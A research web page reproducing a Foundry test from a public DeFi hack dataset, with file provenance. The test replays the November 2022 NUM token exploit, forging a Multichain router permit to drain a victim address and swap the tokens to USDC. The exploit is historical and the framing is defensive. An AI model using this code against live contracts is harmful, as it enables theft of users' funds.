Public reproduction file
src/test/2022-11/NUM_exp.sol
Public reproduction file for dataset entry - NUM.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BlockSecTeam/status/15953460202373529609// @TX10// https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff3212interface MultichainRouter {13 function anySwapOutUnderlyingWithPermit(14 address from,15 address token,16 address to,17 uint256 amount,18 uint256 deadline,19 uint8 v,20 bytes32 r,21 bytes32 s,22 uint256 toChainID23 ) external;24}26contract ContractTest is Test {27 IERC20 NUM = IERC20(0x3496B523e5C00a4b4150D6721320CdDb234c3079);28 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);29 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);30 MultichainRouter multichainRouter = MultichainRouter(0x765277EebeCA2e31912C9946eAe1021199B39C61);31 Uni_Router_V3 Router = Uni_Router_V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);32 address victimAddress = 0x78AC2624a2Cd193E8dEfE9F39A9528e8bd4a368c;33 uint256 NUMBalance;35 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);37 function setUp() public {38 cheats.createSelectFork("mainnet", 16_029_969);39 }41 function testExploit() external {42 NUMBalance = NUM.balanceOf(victimAddress);43 uint8 v = 0;44 bytes32 r = 0x3078000000000000000000000000000000000000000000000000000000000000;45 bytes32 s = 0x3078000000000000000000000000000000000000000000000000000000000000;46 multichainRouter.anySwapOutUnderlyingWithPermit(47 victimAddress, address(this), address(this), NUMBalance, block.timestamp + 60, v, r, s, 1248 );49 NUM.approve(address(Router), type(uint256).max);50 WETH.approve(address(Router), type(uint256).max);51 NUM.transfer(address(Router), NUM.balanceOf(address(this)));52 address[] memory path = new address[](2);53 path[0] = address(NUM);54 path[1] = address(USDC);55 Router.swapExactTokensForTokens(0, 0, path, address(this));57 emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);58 }60 function underlying() external returns (address) {61 return address(NUM);62 }64 function depositVault(uint256 amount, address to) external returns (uint256) {65 return NUMBalance;66 }68 function burn(address from, uint256 amount) external returns (bool) {69 return true;70 }71}Analysis
Dataset entry
Public Foundry test for “- NUM” (2022-11-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- NUM
- Path
- src/test/2022-11/NUM_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2c122e06dcfc546e02a736161893771544fc206c
- Language
- Solidity
- Size
- 72 lines
- Date
- 2022-11-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/NUM_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2c122e06dcfc546e02a736161893771544fc206c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.